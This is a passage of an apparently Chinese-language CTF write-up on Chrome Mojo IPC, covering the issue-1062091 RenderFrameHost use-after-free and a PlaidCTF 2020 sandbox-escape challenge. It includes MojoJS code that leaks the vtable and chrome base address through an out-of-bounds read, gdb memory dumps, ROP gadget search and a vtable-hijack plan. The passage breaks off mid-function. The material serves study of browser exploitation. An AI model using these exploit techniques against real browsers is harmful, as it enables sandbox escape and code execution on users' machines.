Binding.prototype.bind = function(requestOrHandle) {
this.close();

var handle = requestOrHandle instanceof mojo.InterfaceRequest ?
requestOrHandle.handle : requestOrHandle;
if (!(handle instanceof MojoHandle))
return;

this.router_ = new internal.Router(handle);

this.stub_ = new this.interfaceType_.stubClass(this.impl_);
this.interfaceEndpointClient_ = new internal.InterfaceEndpointClient(
this.router_.createLocalEndpointHandle(internal.kPrimaryInterfaceId),
this.stub_, this.interfaceType_.kVersion);

this.interfaceEndpointClient_ .setPayloadValidators([
this.interfaceType_.validateRequest]);
};
Receiving Responses

一些mojom接口期待response,例如EchoInteger,对应的js方法返回一个Promise,当service端发回响应时,此Promise将被resolve,如果interface断开连接,则将被reject。

async和await

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function resolveAfter2Seconds(x) { 
return new Promise(function(resolve){
setTimeout(function(){
resolve(x);
}, 2000);
});
}

async function f1() {
var x = await resolveAfter2Seconds(10);
console.log(x); // 10
console.log("end");
}

function f2(){
console.log("sakura");
}
f1();
f2();
...
...
//结果
sakura
10
end

使用new Promise( function(resolve, reject) {...} /* executor */ );来创建一个Promise对象,其参数executor是带有resolve和reject两个参数的函数 。
Promise构造函数执行时立即调用executor函数,resolve和reject两个函数作为参数传递给executor(executor函数在Promise构造函数返回所建promise实例对象前被调用)。resolve和reject函数被调用时,分别将promise的状态改为fulfilled(完成)或rejected(失败)。

如上resolveAfter2Seconds函数返回一个Promise对象,其将立刻调用setTimeout函数,并等待then一个函数,作为它的resolve来执行
例如

1
2
3
resolveAfter2Seconds(10).then((x)=>{console.log(x)})
...
//10


await可以等待Promise里的executor函数执行结束(阻塞),并返回其promise的fulfilled value,其实也就是作为参数传给resolve函数的那个值。
另外

1
2
3
4
5
Promise.resolve('foo')
// 粗略可以理解成,但注意这并不严格等价,只是在这里可以这么理解
new Promise(function(resolve){
resolve('foo')
})

所以如果let a = await Promise.resolve('foo'),则a的值为’foo’

await一般和async一起用,如最前面的例子,只有f1函数里的被阻塞,而不影响f2函数执行,关于异步在这里不再多说,知道这些已经足够,另外一般的写法都是用了箭头函数,这里为了更好理解就改掉了。

case study: RenderFrameHost lifetime cause sandbox escape

这里我们通过一个简单的漏洞issue-1062091来学习chrome的对象生命周期造成的一类安全问题。
我们首先看一下造成这个漏洞的mojo接口的定义,在继续往下阅读之前,请仔细的理解前面我写的mojo的基础知识。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Represents a system application related to a particular web app.
// See: https://www.w3.org/TR/appmanifest/#dfn-application-object
struct RelatedApplication {
string platform;
// TODO(mgiuca): Change to url.mojom.Url (requires changing
// WebRelatedApplication as well).
string? url;
string? id;
string? version;
};

// Mojo service for the getInstalledRelatedApps implementation.
// The browser process implements this service and receives calls from
// renderers to resolve calls to navigator.getInstalledRelatedApps().
interface InstalledAppProvider {
// Filters |relatedApps|, keeping only those which are both installed on the
// user's system, and related to the web origin of the requesting page.
// Also appends the app version to the filtered apps.
FilterInstalledApps(array<RelatedApplication> related_apps, url.mojom.Url manifest_url)
=> (array<RelatedApplication> installed_apps);
};


一个render进程里的RenderFrame,对应到browser进程里的一个RenderFrameHost。
打开一个新的tab,或者创建一个iframe的时候,都对应创建出一个新的RenderFrameHost对象,而在构造一个新的RenderFrameHost对象的时候,会使用RenderFrameHostImpl来初始化一个BrowserInterfaceBrokerImpl对象。

1
2
3
4
5
6
7
8
9
//content/browser/renderer_host/render_frame_host_impl.h
class CONTENT_EXPORT RenderFrameHostImpl
: public RenderFrameHost,
...
// BrowserInterfaceBroker implementation through which this
// RenderFrameHostImpl exposes document-scoped Mojo services to the currently
// active document in the corresponding RenderFrame.
BrowserInterfaceBrokerImpl<RenderFrameHostImpl, RenderFrameHost*> broker_{
this};

broker可以用来在render和browser之间通信,其bind来自renderer的interfaces requested到具体的mojo interface impl上,依据不同的ExecutionContextHost,最终调用的PopulateBinderMap不同,这里是使用的renderframehost,关于其他host,以后再深究。

1
2
3
4
5
6
7
8
9
10
11
12
13
// content's implementation of the BrowserInterfaceBroker interface that binds
// interfaces requested by the renderer. Every execution context type (frame,
// worker etc) owns an instance and registers appropriate handlers (see
// internal::PopulateBinderMap).
// Note: this mechanism will eventually replace the usage of InterfaceProvider
// and browser manifests, as well as DocumentInterfaceBroker.
template <typename ExecutionContextHost, typename InterfaceBinderContext>
class BrowserInterfaceBrokerImpl : public blink::mojom::BrowserInterfaceBroker {
public:
BrowserInterfaceBrokerImpl(ExecutionContextHost* host) : host_(host) {
internal::PopulateBinderMap(host, &binder_map_);
internal::PopulateBinderMapWithContext(host, &binder_map_with_context_);
}


通过map->Add来向broker里注册适当的handlers回调,由于RenderFrameHostImpl里保存一个BrowserInterfaceBroker的实例,所以当此实现收到来自render的GetInterface方法调用时,它将调用这个回调,例如当通过bindinterface来请求调用一个interface的时候,

1
2
3
4
5
6
7
8
void PopulateFrameBinders(RenderFrameHostImpl* host,
service_manager::BinderMap* map) {
...
map->Add<blink::mojom::InstalledAppProvider>(
base::BindRepeating(&RenderFrameHostImpl::CreateInstalledAppProvider,
base::Unretained(host)));
...
}

我们看一下mojo接口的定义
所以最终从mojo调到的注册函数如下

1
2
3
4
5
6
7
8
9
10
11
void RenderFrameHostImpl::CreateInstalledAppProvider(
mojo::PendingReceiver<blink::mojom::InstalledAppProvider> receiver) {
InstalledAppProviderImpl::Create(this, std::move(receiver));
}
// static
void InstalledAppProviderImpl::Create(
RenderFrameHost* host,
mojo::PendingReceiver<blink::mojom::InstalledAppProvider> receiver) {
mojo::MakeSelfOwnedReceiver(std::make_unique<InstalledAppProviderImpl>(host),
std::move(receiver));
}

参数是RenderFrameHost和一个receiver,这里通过MakeSelfOwnedReceiver函数来创建一个self-owned的receiver,其作为一个独立的object存在,它拥有一个std::unique_ptr指向其绑定的interface implemention,并且在MessagePipe被关闭或者发生一些错误时,负责任的去delete implemention,所以其将一个interface implemention和MessagePipe绑定到了一起,具体实现参考这里

这里我们只要知道InstalledAppProviderImpl和message pipe的生命周期绑定即可,只要message pipe还连接,其就一直存在

另外InstalledAppProviderImpl里保存一个render_frame_host_对象,其来自传入的render_frame_host指针,但是并没有通过任何方法来将InstalledAppProviderImpl和RenderFrameHost的生命周期绑定,一般来说会通过将Impl继承自WebObserver等来观察renderframehost的生命周期,当renderframehost析构的时候会通知Impl做出正确的处理,但这里没有。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
InstalledAppProviderImpl::InstalledAppProviderImpl(
RenderFrameHost* render_frame_host)
: render_frame_host_(render_frame_host) {
DCHECK(render_frame_host_);
}
...
void InstalledAppProviderImpl::FilterInstalledApps(
std::vector<blink::mojom::RelatedApplicationPtr> related_apps,
const GURL& manifest_url,
FilterInstalledAppsCallback callback) {
if (render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()) {
std::move(callback).Run(std::vector<blink::mojom::RelatedApplicationPtr>());
return;
}
...
}

所以我们可以通过free iframe来释放掉对应的render_frame_host,而此时InstalledAppProviderImpl的实例依然存在,再通过FilterInstalledApps来再次use render_frame_host_,而render_frame_host_->GetProcess()是一个虚函数调用,通过占位render_frame_host来伪造虚函数表,我们就可以任意代码执行。

plaidctf2020 mojo writeup

root cause analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// static
void PlaidStoreImpl::Create(
RenderFrameHost *render_frame_host,
mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),// note lifetime
std::move(receiver));
}
..
class PlaidStoreImpl : public blink::mojom::PlaidStore {
public:
explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);

static void Create(
RenderFrameHost* render_frame_host,
mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);

~PlaidStoreImpl() override;

// PlaidStore overrides:
void StoreData(
const std::string &key,
const std::vector<uint8_t> &data) override;

void GetData(
const std::string &key,
uint32_t count,
GetDataCallback callback) override;

private:
RenderFrameHost* render_frame_host_;//----> can free
std::map<std::string, std::vector<uint8_t> > data_store_;
};
..
void PlaidStoreImpl::StoreData(
const std::string &key,
const std::vector<uint8_t> &data) {
if (!render_frame_host_->IsRenderFrameLive()) { // use
return;
}
data_store_[key] = data;
}

void PlaidStoreImpl::GetData(
const std::string &key,
uint32_t count,
GetDataCallback callback) {
if (!render_frame_host_->IsRenderFrameLive()) { // use
std::move(callback).Run({});
return;
}
auto it = data_store_.find(key);
if (it == data_store_.end()) {
std::move(callback).Run({});
return;
}
std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);//oob
std::move(callback).Run(result);
}
1
2
3
4
5
6
7
8
interface PlaidStore {

// Stores data in the data store
StoreData(string key, array<uint8> data);

// Gets data from the data store
GetData(string key, uint32 count) => (array<uint8> data);
};

这个题目里有两个漏洞

  • UAF

这个题目里的UAF和我们上面分析的那个case如出一辙,都是同样的生命周期管理的问题,由于MakeSelfOwnedReceiver将PlaidStoreImpl实例和message pipe关联在一起,只要不断开则PlaidStoreImpl实例不会被析构。

而PlaidStoreImpl类保存了指向其所在render_frame_host的raw pointer,即render_frame_host_,但是并没有将它们的生命周期绑定,即render_frame_host被析构,但PlaidStoreImpl实例仍然可以存在。

于是就可以通过在主frame里创建一个child iframe,然后在child iframe里将message pipe的remote端传给父frame,然后将child iframe从dom里移除,从而析构掉child iframe其对应的render_frame_host,但由于message pipe被传给了父frame,因此不会被断开,而此时render_frame_host已经被析构掉了。

所以我们可以通过父frame来通过child iframe里传过来的message pipe的remote端,来调用其StoreData/GetData触发UAF。

  • OOB
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    void PlaidStoreImpl::GetData(
    const std::string &key,
    uint32_t count,
    GetDataCallback callback) {
    if (!render_frame_host_->IsRenderFrameLive()) { // use
    std::move(callback).Run({});
    return;
    }
    auto it = data_store_.find(key);
    if (it == data_store_.end()) {
    std::move(callback).Run({});
    return;
    }
    std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);//oob
    std::move(callback).Run(result);
    }
    可以看出并没有约束count的大小,所以我们可以通过getData来越界读并返回读取的结果。

debug

  • 解压mojo题,在本地开启一个server
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    sakura@ubuntu:~/mojo$ ls
    cc Dockerfile mojo_js.zip third_party
    chrome extensions plaidstore.diff trigger.html
    chrome_100_percent.pak flag_printer resources.pak ui
    chrome_200_percent.pak gpu run.sh url
    chrome.zip icudtl.dat server.py v8_context_snapshot.bin
    components ipc services visit.sh
    content locales skia
    device media storage
    devtools mojo swiftshader
    ...
    ...
    sakura@ubuntu:~/mojo$ python3 -m http.serverServing HTTP on 0.0.0.0 port 8000 ...
    127.0.0.1 - - [20/Sep/2020 08:37:21] "GET /trigger.html HTTP/1.1" 200 -
    127.0.0.1 - - [20/Sep/2020 09:36:21] "GET /trigger.html HTTP/1.1" 200 -
    127.0.0.1 - - [20/Sep/2020 09:36:28] "GET /trigger.html HTTP/1.1" 200 -
  • 启动chrome
    1
    sakura@ubuntu:~/mojo$ ./chrome --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=/tmp/noexist --enable-blink-features=MojoJS,MojoJSTest http://localhost:8000/trigger.html
  • debug启动chrome
    写一个debug.sh,注意因为我们要调试的是browser进程,所以要跟随parent。
    1
    2
    3
    file ./chrome
    set args --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=/tmp/noexist --enable-blink-features=MojoJS,MojoJSTest http://localhost:8000/trigger.html
    set follow-fork-mode parent
    执行gdb -x debug.sh

oob leak and gadget

1
2
3
4
5
6
7
8
9
10
async function oob(){
console.log("oob");
var pipe = Mojo.createMessagePipe();
Mojo.bindInterface(blink.mojom.PlaidStore.name,
pipe.handle1, "context", true);
var plaid_store_ptr = new blink.mojom.PlaidStorePtr(pipe.handle0);
await plaid_store_ptr.storeData("aaa", [0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48]);
oob_data = await plaid_store_ptr.getData("aaa",0x20);
console.log(hex(b2i(oob_data.data.slice(0x10,0x18))));
}
1
2
[0920/093628.390634:INFO:CONSOLE(178)] "oob", source: http://localhost:8000/trigger.html (178)
[0920/093628.430111:INFO:CONSOLE(186)] "0x55ab6560a8b0", source: http://localhost:8000/trigger.html (186)

可以看出我们leak出了一个很像地址的东西,那么我们可以调试一下我们到底可以越界读取到什么

  • 首先我们可以看看创建PlaidStoreImpl的函数,并下一个断点,我们可以
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    gdb-peda$ info functions PlaidStoreImpl
    All functions matching regular expression "PlaidStoreImpl":
    Non-debugging symbols:
    0x0000000003c58170 content::PlaidStoreImpl::~PlaidStoreImpl()
    0x0000000003c58170 content::PlaidStoreImpl::~PlaidStoreImpl()
    0x0000000003c58190 content::PlaidStoreImpl::~PlaidStoreImpl()
    0x0000000003c581c0 content::PlaidStoreImpl::StoreData(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, std::__1::vector<unsigned char, std::__1::allocator<unsigned char> > const&)
    0x0000000003c582b0 content::PlaidStoreImpl::GetData(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, unsigned int, base::OnceCallback<void (std::__1::vector<unsigned char, std::__1::allocator<unsigned char> > const&)>)
    0x0000000003c58490 content::PlaidStoreImpl::Create(content::RenderFrameHost*, mojo::PendingReceiver<blink::mojom::PlaidStore>)
    0x0000000003c58550 base::WeakPtr<mojo::StrongBinding<blink::mojom::PlaidStore> > mojo::MakeSelfOwnedReceiver<blink::mojom::PlaidStore, content::PlaidStoreImpl>(std::__1::unique_ptr<content::PlaidStoreImpl, std::__1::default_delete<content::PlaidStoreImpl> >, mojo::PendingReceiver<blink::mojom::PlaidStore>, scoped_refptr<base::SequencedTaskRunner>)
    ...
    (gdb) b content::PlaidStoreImpl::Create
    Breakpoint 1 at 0x3c58494
    (gdb) r
    ...
    => 0x5555591ac494 <plaid_store_ptrPlaidStoreEEE+4>: push r15
    0x5555591ac496 <plaid_store_ptrPlaidStoreEEE+6>: push r14
    0x5555591ac498 <plaid_store_ptrPlaidStoreEEE+8>: push rbx
    0x5555591ac499 <plaid_store_ptrPlaidStoreEEE+9>: sub rsp,0x38
    0x5555591ac49d <plaid_store_ptrPlaidStoreEEE+13>: mov r14,rsi
    0x5555591ac4a0 <plaid_store_ptrPlaidStoreEEE+16>: mov rbx,rdi
    0x5555591ac4a3 <plaid_store_ptrPlaidStoreEEE+19>: mov edi,0x28 //从这里可以看出impl的大小是0x28
    0x5555591ac4a8 <plaid_store_ptrPlaidStoreEEE+24>:
    call 0x55555ac584b0 <_ZnwmRKSt9nothrow_t> //operator new(unsigned long, std::nothrow_t const&),注意这条语句执行完了之后的rax就是impl的地址,所以我会在知道了这个地址之后,直接finish这个函数,然后看最终的对象布局。
    0x5555591ac4ad <plaid_store_ptrPlaidStoreEEE+29>:
    lea rcx,[rip+0x635e2ec] # 0x55555f50a7a0 <_ZTVN7content14PlaidStoreImplE+16> //vtable for content::PlaidStoreImpl
    0x5555591ac4b4 <plaid_store_ptrPlaidStoreEEE+36>: mov QWORD PTR [rax],rcx
    0x5555591ac4b7 <plaid_store_ptrPlaidStoreEEE+39>:
    mov QWORD PTR [rax+0x8],rbx
    0x5555591ac4bb <plaid_store_ptrPlaidStoreEEE+43>: lea rcx,[rax+0x18]
    0x5555591ac4bf <plaid_store_ptrPlaidStoreEEE+47>: xorps xmm0,xmm0
    0x5555591ac4c2 <plaid_store_ptrPlaidStoreEEE+50>:
    movups XMMWORD PTR [rax+0x18],xmm0
    0x5555591ac4c6 <_ZN7content14PlaidStoreImpl6Crea
    ...
    //在执行了call指令之后,返回的rax的值,就是plaidstoreimpl的地址
    gdb-peda$ x/20gx 0x2dd26ed2ede0
    0x2dd26ed2ede0: 0x000055555f50a7a0 //vtable 0x00002dd26ec42400 // render_frame_host_
    0x2dd26ed2edf0: |map start| 0x00002dd26ed2edf8 0x0000000000000000
    0x2dd26ed2ee00: 0x0000000000000000|map end| --> // data_store_
  • 然后我们执行到storeData结束,看看此时data_store_这个map是怎么保存数据的。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    gdb-peda$ x/20gx 0x00002dd26ed33870 //data_store_
    0x2dd26ed33870: 0x0000000000000000 0x0000000000000000
    0x2dd26ed33880: 0x00002dd26ed2edf8 0x000055555aba0101
    0x2dd26ed33890: 0x0000000000616161//key1 0x0000000000000000
    0x2dd26ed338a0: 0x0300000000000000 0x00002dd26ed2f0b0//value1
    0x2dd26ed338b0: 0x00002dd26ed2f0c0 0x00002dd26ed2f0c0
    0x2dd26ed338c0: 0xffffd22f00000001 0x0000000000000000
    0x2dd26ed338d0: 0x0000000000000000 0x0000000000000000
    0x2dd26ed338e0: 0x0000000000000000 0x0000000000000000
    0x2dd26ed338f0: 0x00002dd26ed00000 0x00002dd26ec1c0c0
    0x2dd26ed33900: 0x00002dd26ec1c0c0 0x0000000000000001
    gdb-peda$ x/20gx 0x00002dd26ed2f0b0
    0x2dd26ed2f0b0: 0x3837363534333231 0x4847464544434241
    0x2dd26ed2f0c0: 0xffffd20000000001 0xfffffffd55553ec2
    0x2dd26ed2f0d0: 0xffffd20000000001 0xfffffffd55553ec2
    0x2dd26ed2f0e0: 0xffffd20000000001 0xfffffffd55553ec2
    0x2dd26ed2f0f0: 0xffffd20000000001 0xfffffffd55553ec2
    为了继续往下,我需要简要的描述一下map的内存布局,chrome里使用的std::map标准库实现在这里
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    template <class _Key, class _CP, class _Compare,
    bool = is_empty<_Compare>::value && !__libcpp_is_final<_Compare>::value>
    class __map_value_compare
    : private _Compare
    {
    private:
    ...
    typedef __tree<__value_type, __vc, __allocator_type> __base;
    __base __tree_;
    }
    其实只有一个字段,也就是保存了一个__tree类型的成员变量,其实这就是红黑树(rb tree)的实现,map其实是rb tree的一层wrapper,实际的插入删除等,都是在__tree上完成的。
    所以我们直接看__tree的内存布局即可。
    1
    2
    3
    4
    5
    6
    7
    template <class _Tp, class _Compare, class _Allocator>
    class __tree
    {
    private:
    __iter_pointer __begin_node_;
    __compressed_pair<__end_node_t, __node_allocator> __pair1_;
    __compressed_pair<size_type, value_compare> __pair3_;
    其有三个成员变量,一个是指向起始tree_node的指针,其他两个字段用不到,也就不解释了。
    那么我们现在就知道了,对于如下impl,其偏移0x10位置处就是保持着map的起始节点,而map是一颗rb tree,所以从这个节点我们就可以索引到其他所有插入的节点了。
    1
    2
    3
    4
    gdb-peda$ x/20gx 0x2dd26ed2ede0
    0x2dd26ed2ede0: 0x000055555f50a7a0 //vtable 0x00002dd26ec42400 // render_frame_host_
    0x2dd26ed2edf0: |map start| 0x00002dd26ed2edf8 0x0000000000000000
    0x2dd26ed2ee00: 0x0000000000000000|map end| --> // data_store_
    现在让我们看一下tree_node的具体内存布局
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    template <class _Pointer> class __tree_end_node;
    template <class _VoidPtr> class __tree_node_base;
    template <class _Tp, class _VoidPtr> class __tree_node;
    ...
    // node

    template <class _Pointer>
    class __tree_end_node
    {
    public:
    typedef _Pointer pointer;
    pointer __left_;

    _LIBCPP_INLINE_VISIBILITY
    __tree_end_node() _NOEXCEPT : __left_() {}
    };

    template <class _VoidPtr>
    class __tree_node_base
    : public __tree_node_base_types<_VoidPtr>::__end_node_type
    {
    typedef __tree_node_base_types<_VoidPtr> _NodeBaseTypes;

    public:
    typedef typename _NodeBaseTypes::__node_base_pointer pointer;
    typedef typename _NodeBaseTypes::__parent_pointer __parent_pointer;

    pointer __right_;
    __parent_pointer __parent_;
    bool __is_black_;

    _LIBCPP_INLINE_VISIBILITY
    pointer __parent_unsafe() const { return static_cast<pointer>(__parent_);}

    _LIBCPP_INLINE_VISIBILITY
    void __set_parent(pointer __p) {
    __parent_ = static_cast<__parent_pointer>(__p);
    }

    private:
    ~__tree_node_base() _LIBCPP_EQUAL_DELETE;
    __tree_node_base(__tree_node_base const&) _LIBCPP_EQUAL_DELETE;
    __tree_node_base& operator=(__tree_node_base const&) _LIBCPP_EQUAL_DELETE;
    };

    template <class _Tp, class _VoidPtr>
    class __tree_node
    : public __tree_node_base<_VoidPtr>
    {
    public:
    typedef _Tp __node_value_type;

    __node_value_type __value_;

    private:
    ~__tree_node() _LIBCPP_EQUAL_DELETE;
    __tree_node(__tree_node const&) _LIBCPP_EQUAL_DELETE;
    __tree_node& operator=(__tree_node const&) _LIBCPP_EQUAL_DELETE;
    };
    所以对于一个tree_node,其保存的字段依次为,前四个大小是固定的,其整体大小依据__node_value_type的大小来决定,这个node_value_type实际上就是key-value这样一个pair对,在这里就是pair<string,vector<uint8_t>>
    1
    2
    3
    4
    5
    0x0 pointer __left_;
    0x8 pointer __right_;
    0x10 __parent_pointer __parent_;
    0x18 bool __is_black_;
    0x20 __node_value_type __value_;
    所以我们来看一下内存
    1
    2
    3
    4
    5
    //PlaidStoreImpl
    gdb-peda$ x/20gx 0x00003268b2727f00
    0x3268b2727f00: 0x000055555f50a7a0 0x00003268b2643400
    0x3268b2727f10: 0x00003268b271a780//first tree node 0x00003268b271a780
    0x3268b2727f20: 0x0000000000000001
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    gdb-peda$ x/20gx 0x00003268b271a780
    0x3268b271a780: 0x0000000000000000 0x0000000000000000
    0x3268b271a790: 0x00003268b2727f18 0x0000000000000001
    0x3268b271a7a0: |0x0000000061616161 0x0000000000000000
    0x3268b271a7b0: 0x0400000000000000|-->string | 0x00003268b2757ba0-->vector
    0x3268b271a7c0: 0x00003268b2757bc8 0x00003268b2757bc8 |
    ...
    // vector elements
    gdb-peda$ x/20gx 0x00003268b2757ba0
    0x3268b2757ba0: 0x3131313131313131 0x3131313131313131
    0x3268b2757bb0: 0x3131313131313131 0x3131313131313131
    0x3268b2757bc0: 0x3131313131313131 0x0000000000000000
    string的对象布局我没有看,不过我简单的解释一下这里为什么vector是这样的,因为其包括三个成员变量,首先是vector里元素的起始地址,然后是终止地址和容量。
    1
    2
    3
    4
    class __vector_base
    pointer __begin_;
    pointer __end_;
    __compressed_pair<pointer, allocator_type> __end_cap_;
    而此时我们的oob,也就是从vector的起始地址开始,可以越界读到后面的任意地址的值。
    1
    2
    3
    4
    5
    6
    gdb-peda$ vmmap 0x00003268b2757ba0
    Start End Perm Name
    0x00003268b237d000 0x00003268b287c000 rw-p mapped
    gdb-peda$ vmmap 0x00003268b2727f00
    Start End Perm Name
    0x00003268b237d000 0x00003268b287c000 rw-p mapped
    由于impl和vector在同一段上,其应该都是通过partitionAlloc动态分配出来的,所以我们可以大量分配impl,从而使impl和vector接近线性交替存放,并最终leak出来,这里我们的判断依据是虚表地址是页对齐的,也就是最后的0x7a0是不变的,从而找到虚表地址。
    因为虚表地址在chrome的只读数据段中(.rodata)上,所以可以通过减去偏移找到chrome的基地址。
    这个偏移的计算相当简单,我一般直接vmmap看一下加载基地址,然后减去即可找到偏移。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    gdb-peda$ vmmap 0x55555f50a7a0
    Start End Perm Name
    0x000055555f455000 0x000055555faf2000 r--p /home/sakura/mojo/chrome
    gdb-peda$ vmmap
    Start End Perm Name
    0x000023612d770000 0x000023612d771000 ---p mapped
    0x000023612d771000 0x000023612dc70000 rw-p mapped
    0x0000555555554000 0x000055555824b000 r--p /home/sakura/mojo/chrome
    0x000055555824b000 0x000055555f455000 r-xp /home/sakura/mojo/chrome
    0x000055555f455000 0x000055555faf2000 r--p /home/sakura/mojo/chrome
    0x000055555faf2000 0x000055555fb4e000 rw-p /home/sakura/mojo/chrome
    ...
    gdb-peda$ p/x 0x55555f50a7a0-0x0000555555554000
    $1 = 0x9fb67a0
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    async function oob(){
    console.log("oob");
    var ps_list = [];
    var try_size = 100;
    var vt_addr = 0;
    var render_frame_host_addr = 0;
    var code_base = 0;
    for(let i = 0; i < try_size; i++){ //创建impl并store一些数据,从而创建vector
    var pipe = Mojo.createMessagePipe();
    Mojo.bindInterface(blink.mojom.PlaidStore.name,
    pipe.handle1, "context", true);
    var tmp_ps_ptr = new blink.mojom.PlaidStorePtr(pipe.handle0);
    await tmp_ps_ptr.storeData("aaaa", new Array(0x30).fill(0x31))
    ps_list.push(tmp_ps_ptr);
    }
    for(let i = 0; i < try_size; i++){
    if(vt_addr != 0){
    break;
    }
    var tmp_ps_ptr = ps_list[i];
    let r = await tmp_ps_ptr.getData("aaaa", 0x100); //越界读取,这里设置成0x100,不能太大,防止读到一些不可访问的地址
    let oob_data = r.data;
    for(let i = 0x30; i < 0x100; i = i + 8){
    let tmp_oob_data = b2i(oob_data.slice(i, i+8)); //因为读取到的是byte数组,所以要转回数值
    if(hex(tmp_oob_data & 0xfff) == "0x7a0"){
    vt_addr = tmp_oob_data;
    code_base = vt_addr - 0x9fb67a0;
    console.log('vt_addr is: ', hex(vt_addr));
    console.log('code_base is: ', hex(code_base));
    render_frame_host_addr = b2i(oob_data.slice(i+8, i+16));
    console.log('render_frame_host_addr is: ', hex(render_frame_host_addr));
    break;
    }
    }
    }
    r2p_rfh(hex(render_frame_host_addr));
    r2p_code_base(hex(code_base));
    }

有了chrome的基地址,我们就可以搜索gadget来构造rop了,这里我直接参考了这篇文章里使用的gadaget。

1
ROPgadget --binary=./chrome > gadget.txt

也可以这样,然后直接在文件里find需要的gadget,不再赘述。

虚表其实就是保存着函数地址的表,虚函数调用的时候,首先根据保存的虚表地址(vtable entry),找到虚函数表,然后再根据偏移在虚表里找到对应的函数地址。
所以只要改掉了其保存的函数地址,就可以在执行对应的虚函数时去执行任意代码。

我们来看一个正常的虚函数调用的汇编,这里我断在GetData,getData("aaaa", 0x100),虚函数调用也还是成员函数,所以第一个参数是this,也就是render_frame_host_的地址,然后key是”aaaa”,count是0x100。

如图看寄存器,rdi是0x88313358100,rsi是”aaaa”,rdx是0x100,和我们刚刚的推论吻合。
再看汇编。

1
2
3
4
mov    rbx,rdi // rdi指向PlaidStoreImpl,是this
mov rdi,QWORD PTR [rdi+0x8] //取其偏移0x8的位置的值,刚好就是render_frame_host,到rdi
mov rax,QWORD PTR [rdi] //取render_frame_host_偏移0x0位置的值,也就是vtable entry到rax里
call QWORD PTR [rax+0x160] //vtable entry指向虚表基地址vt_base_addr,call将跳转到vt_base_addr+0x160处保存的函数地址去执行。

这里就是在call虚函数IsRenderFrameLive,这个函数的地址保存在[rax+0x160],而由于前面所述的UAF的原因,render_frame_host_地址处的所有内容完全可控,所以rax的值我们完全可控。

1
2
3
4
5
6
7
8
void PlaidStoreImpl::GetData(
const std::string &key,
uint32_t count,
GetDataCallback callback) {
if (!render_frame_host_->IsRenderFrameLive()) { // use
std::move(callback).Run({});
return;
}

chrome上比较常用的是劫持栈指针到我们可控的位置,这里render_frame_host_里的内容我们就完全可控,我们可以把栈指针劫持到render_frame_host_上。
让rax里保存的地址为addr render_frame_host_+0x10,这里就是新的虚表了。

UAF

接下来的执行将分成两部分。

  • 首先对于#parent
    • 创建一个child iframe
    • 然后通过MojoTest flag的特性,创建一个kPwnInterfaceName拦截器,并注册对应的处理函数
    • 处理函数逻辑为
      • 关闭拦截器
      • 从接收到的MojoInterfaceRequestEvent里取出传过来的handle,用来初始化一个PlaidStorePtr指针plaid_store_ptr
      • 返回这个指针给#parent
    • 打开拦截器
  • 对于#child
    • 执行oob函数来leak出自己的render_frame_host_和chrome的基地址
    • 创建Message pipe,将receiver端传给browser,用来bind到一个PlaidStoreImpl实例上
    • 将remote端通过Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");发给拦截器,从而触发对应的处理函数。
  • 这样即使child iframe被remove掉,remote端仍被parent持有,所以message pipe不会被中断,和其绑定的child iframe里对应的PlaidStoreImpl也不会被析构,但此时PlaidStoreImpl里保存的child iframe的render_frame_host_已经被析构掉了。
  • 此时,通过#parent里保存的plaid_store_ptr,就可以从remote端调用browser里PlaidStoreImpl的函数,从而触发UAF,具体代码如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    function allocateRFH(src) {
    var iframe = document.createElement("iframe");
    iframe.src = src;
    document.body.appendChild(iframe);
    return iframe;
    }

    function freeRFH(iframe) {
    document.body.removeChild(iframe);
    }

    var kPwnInterfaceName = "pwn";
    function sendPtr() {
    var pipe = Mojo.createMessagePipe();
